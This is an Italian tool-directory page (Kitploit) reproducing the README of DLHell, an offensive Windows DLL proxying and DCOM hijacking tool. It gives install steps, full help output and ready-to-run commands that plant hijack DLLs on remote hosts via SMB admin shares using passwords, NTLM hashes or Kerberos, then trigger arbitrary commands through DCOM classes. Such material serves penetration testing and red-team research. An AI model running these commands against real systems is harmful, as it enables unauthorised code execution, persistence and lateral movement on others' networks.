Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
DLHell — Local & remote Windows DLL Proxying | Kitploit
Strumenti/GitHubGitHub/synacktiv/dlhell
Privilege EscalationPersistence MechanismsExploitationLateral MovementPost-ExploitationPayload Development
GitHubsynacktiv/dlhell

DLHell

Local & remote Windows DLL Proxying

Vedi Repository
172222 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

DLHell

DLHell esegue il DLL Proxying DCOM locale e remoto su Windows.

Installazione

I seguenti pacchetti sono richiesti (potrebbero dipendere dalla distribuzione, il seguente esempio è per Debian 12):

root@kitploit:~
sudo apt install -y g++-mingw-w64-x86-64-win32 binutils-mingw-w64-x86-64

Installa le dipendenze pip:

root@kitploit:~
pip3 install -r requirements.txt

Avvio rapido

Il comando seguente esegue l'hijacking della libreria netutils.dll sull'host 10.137.0.48 dal file modello template.tpe (libreria di hijack in sorgente C++) che avvia calc.exe. Sia la DLL originale che quella proxy verranno inserite nella cartella program files/windows nt/accessories/ della share C$ sul target remoto.

Si prega di utilizzare la sintassi Impacket per l'opzione -remote-target.

root@kitploit:~
DLHell.py -t template.tpe -c 'calc.exe' -remote-lib 'windows/system32/netutils.dll' -remote-target 'program files/windows nt/accessories/test.dll' -target 'domain/user:password@ip'

È possibile utilizzare anche l'autenticazione Kerberos:

root@kitploit:~
DLHell.py -t template.tpe -c 'calc.exe' -k -target wks-02.vault-tech.com -progid WordPad.Document.1

Elenca i CLSID e i ProgID disponibili:

root@kitploit:~
DLHell.py -list

Utilizzo

root@kitploit:~
 ____  _     _   _      _ _
|  _ \| |   | | | | ___| | |
| | | | |   | |_| |/ _ \ | |
| |_| | |___|  _  |  __/ | |
|____/|_____|_| |_|\___|_|_|

DLHell v1.0

usage: DLHell.py [-h] [-local-lib LOCAL_LIB] [-remote-lib REMOTE_LIB] [-local-target LOCAL_TARGET]
                 [-remote-target REMOTE_TARGET] [-target TARGET] [-clsid CLSID] [-progid PROGID] -t T -c C
                 [-u U] [-l] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-dc-ip ip address]
                 [-target-ip ip address] [-port [destination port]]

DLL Hell - DLL Proxifier/Hijacker

options:
  -h, --help            show this help message and exit
  -local-lib LOCAL_LIB  Path of the remote library on the local system, ex: version.dll
  -remote-lib REMOTE_LIB
                        Path of the library on the remote system, ex: windows/system32/version.dll. WARNING:
                        Will connect using SMB on C$ share. Admin rights needed. Requires -target
  -local-target LOCAL_TARGET
                        The new name of the local output proxyfied library
  -remote-target REMOTE_TARGET
                        The new name of the remote proxyfied library. WARNING: Will connect using SMB on C$
                        share. Admin rights needed. Requires -target
  -target TARGET        [[domain/]username[:password]@]<targetName or address>
  -clsid CLSID          CLSID of DCOM class to activate
  -progid PROGID        ProgID of DCOM class to activate
  -t T, -template T     Template file to use for lib generation
  -c C, -command C      Command to execute using hijacked lib
  -u U, -user U         Name of the user to hijack (used to put DLLs in localappdata folder)
  -l, -list             Lists vulnerable CLSID & ProgID for DCOM Hijacking

authentication:
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH
  -no-pass              don't ask for password (useful for -k)
  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on
                        target parameters. If valid credentials cannot be found, it will use the ones
                        specified in the command line
  -aesKey hex key       AES key to use for Kerberos Authentication (128 or 256 bits)

connection:
  -dc-ip ip address     IP Address of the domain controller. If omitted it will use the domain part (FQDN)
                        specified in the target parameter
  -target-ip ip address
                        IP Address of the target machine. If omitted it will use whatever was specified as
                        target. This is useful when target is the NetBIOS name and you cannot resolve it
  -port [destination port]
                        Destination port to connect to SMB Server

Proxying DLL locale

Per la creazione di DLL locali, utilizzare le opzioni -local-lib (nome della DLL proxy) e -local-target (DLL originale rinominata):

root@kitploit:~
DLHell.py -t template.tpe -c 'calc.exe' -local-lib 'lib/netutils.dll' -local-target 'test.dll'

Proxying DLL remoto (richiede privilegi di amministratore):

Per l'hijacking remoto di DLL, specificare -target, -remote-lib (nome della DLL originale sull'host remoto) e -local-target (DLL originale rinominata) come opzioni:

root@kitploit:~
DLHell.py -t template.tpe -c 'calc.exe' -target 'domain/user:password@ip' -remote-lib 'windows/system32/PROPSYS.dll' -remote-target 'windows/test.dll'

Proxying DLL DCOM (richiede privilegi di amministratore)

Il proxying DLL DCOM può essere sfruttato utilizzando le opzioni -progid e -clsid. L'elenco dei CLSID e ProgID disponibili è ottenibile con il seguente comando:

root@kitploit:~
DLHell.py -list

È possibile aggiungere nuovi hijack al file dcom.json, che definisce i percorsi per le librerie vulnerabili:

A questo punto, sono richiesti solo il ProgID o il CLSID per:

  • Ottenere la DLL originale
  • Creare e compilare la libreria di hijack
  • Caricare le librerie sull'host remoto
  • Attivare la classe DCOM remota

Esempio per il ProgID WordPad.Document.1:

root@kitploit:~
DLHell.py -t template.tpe -c 'calc.exe' -target 'domain/user:password@ip' -progid WordPad.Document.1

Esempio per il CLSID 73FDDC80-AEA9-101A-98A7-00AA00374959:

root@kitploit:~
DLHell.py -t template.tpe -c 'calc.exe' -target 'domain/user:password@ip' -clsid 73FDDC80-AEA9-101A-98A7-00AA00374959
Scarica lo strumento